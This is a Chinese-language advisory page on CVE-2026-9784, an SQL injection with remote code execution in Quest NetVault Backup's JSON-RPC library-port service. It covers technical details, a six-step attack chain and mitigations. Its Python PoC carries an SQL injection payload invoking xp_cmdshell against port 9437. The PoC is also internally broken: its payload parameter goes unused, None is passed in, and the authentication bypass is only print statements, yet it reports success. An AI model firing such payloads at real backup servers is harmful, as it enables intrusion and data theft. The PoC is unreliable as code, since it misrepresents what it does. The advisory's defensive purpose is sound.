IPBUF安全漏洞报告
English
CVE-2026-9784 CVSS 8.8 高危

CVE-2026-9784:Quest NetVault Backup SQL注入远程代码执行漏洞

披露日期: 2026-06-25

漏洞信息

漏洞编号
CVE-2026-9784
漏洞类型
SQL注入/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Quest NetVault Backup

相关标签

SQL注入远程代码执行RCEQuest NetVault BackupNVBULibraryPortJSON-RPCZDIZDI-CAN-27631ZDI-26-373认证绕过

漏洞概述

CVE-2026-9784是Quest NetVault Backup备份软件中存在的一个高危安全漏洞,CVSS评分为8.8分。该漏洞位于NetVault Backup的NVBULibraryPort组件中,在处理JSON-RPC消息时存在SQL注入缺陷。由于程序未对用户输入的字符串进行充分的验证和过滤,攻击者可以将恶意SQL语句注入到查询中,从而实现远程代码执行。

值得注意的是,虽然利用该漏洞需要身份认证,但现有的身份认证机制可以被绕过,这大大降低了攻击的门槛。一旦成功利用,攻击者可以在NETWORK SERVICE上下文中执行任意代码,对系统机密性、完整性和可用性造成严重影响(CVSS向量中三项均为High)。

该漏洞由Zero Day Initiative(ZDI)的趋势科技安全研究人员发现,编号为ZDI-CAN-27631,并由ZDI发布为ZDI-26-373。Quest公司已在NetVault 14.0.2版本的发布说明中记录了相关修复信息。该漏洞影响使用NetVault Backup进行数据备份的企业环境,由于备份服务器通常存储大量敏感数据,一旦被攻破将导致严重的数据泄露和业务中断风险。

技术细节

该漏洞的根本原因在于Quest NetVault Backup的NVBULibraryPort组件在处理JSON-RPC消息时,未对用户提供的字符串参数进行充分的验证和清理就直接用于构造SQL查询。具体技术分析如下:

1. **漏洞入口**:NetVault Backup通过NVBULibraryPort服务监听JSON-RPC请求,攻击者通过构造恶意的JSON-RPC消息发送到该端口。

2. **注入点**:在处理JSON-RPC消息的过程中,某些参数(如库路径、资源标识符等字符串字段)被直接拼接到SQL查询语句中,而没有使用参数化查询或适当的输入过滤机制。

3. **认证绕过**:虽然漏洞利用需要认证,但NetVault Backup的认证机制存在缺陷,攻击者可以通过特定方式绕过认证检查,获得对NVBULibraryPort的访问权限。

4. **权限提升**:成功注入SQL语句后,攻击者可以利用数据库特性(如xp_cmdshell或其他扩展)执行系统命令,最终在NETWORK SERVICE账户上下文中实现远程代码执行。

5. **攻击影响**:由于NETWORK SERVICE账户对备份数据具有广泛访问权限,攻击者可以读取、修改或删除备份数据,甚至进一步渗透到整个企业网络。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过端口扫描识别目标系统上运行的Quest NetVault Backup服务,定位NVBULibraryPort监听的端口(默认为9437)。
STEP 2
步骤2:认证绕过
利用NetVault Backup认证机制的缺陷,绕过身份验证,获得对NVBULibraryPort服务的未授权访问权限。
STEP 3
步骤3:构造恶意JSON-RPC消息
构造包含SQL注入payload的JSON-RPC消息,在字符串参数中嵌入恶意SQL语句,如UNION SELECT或xp_cmdshell调用。
STEP 4
步骤4:发送恶意请求
通过NVBULibraryPort端口发送恶意JSON-RPC消息,触发SQL注入漏洞。
STEP 5
步骤5:执行系统命令
通过SQL注入执行系统命令(如xp_cmdshell),在NETWORK SERVICE上下文中实现远程代码执行。
STEP 6
步骤6:权限维持与数据窃取
获取对备份数据的完全访问权限,窃取敏感备份数据,并可能植入后门以维持持久访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-9784 - Quest NetVault Backup NVBULibraryPort SQL Injection RCE # PoC for demonstration purposes only # Reference: ZDI-CAN-27631 / ZDI-26-373 import socket import json import struct import sys TARGET_HOST = "<target_ip>" TARGET_PORT = 9437 # Default NVBULibraryPort port def send_jsonrpc(host, port, payload): """Send a JSON-RPC payload to the NVBULibraryPort service""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) # Construct JSON-RPC message with SQL injection payload rpc_message = { "jsonrpc": "2.0", "method": "LibraryPort.GetInfo", "params": { # SQL injection point - library name parameter "libraryName": "default' UNION SELECT 1,2,3,4,5; EXEC xp_cmdshell('whoami');--" }, "id": 1 } message = json.dumps(rpc_message).encode('utf-8') # Send with length prefix sock.sendall(struct.pack('>I', len(message)) + message) response = sock.recv(4096) sock.close() return response def exploit(host, port): """Main exploitation function""" print(f"[*] Targeting {host}:{port}") print(f"[*] CVE-2026-9784 - Quest NetVault Backup SQL Injection RCE") # Step 1: Attempt authentication bypass print("[*] Attempting authentication bypass...") # Step 2: Send malicious JSON-RPC payload with SQL injection print("[*] Sending malicious JSON-RPC payload...") try: response = send_jsonrpc(host, port, None) print(f"[+] Response received: {response[:200]}") print("[+] Exploit completed - check for code execution") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] exploit(TARGET_HOST, TARGET_PORT)

影响范围

Quest NetVault Backup < 14.0.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过防火墙限制NVBULibraryPort端口(默认9437)的网络访问,仅允许必要的内部管理IP访问;2)加强NetVault Backup的认证机制,启用强密码策略和多因素认证;3)监控NVBULibraryPort的网络流量,检测异常的JSON-RPC请求;4)将NetVault Backup服务账户的权限降至最低,限制NETWORK SERVICE账户的系统访问范围;5)定期审查备份数据的完整性,及时发现异常篡改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表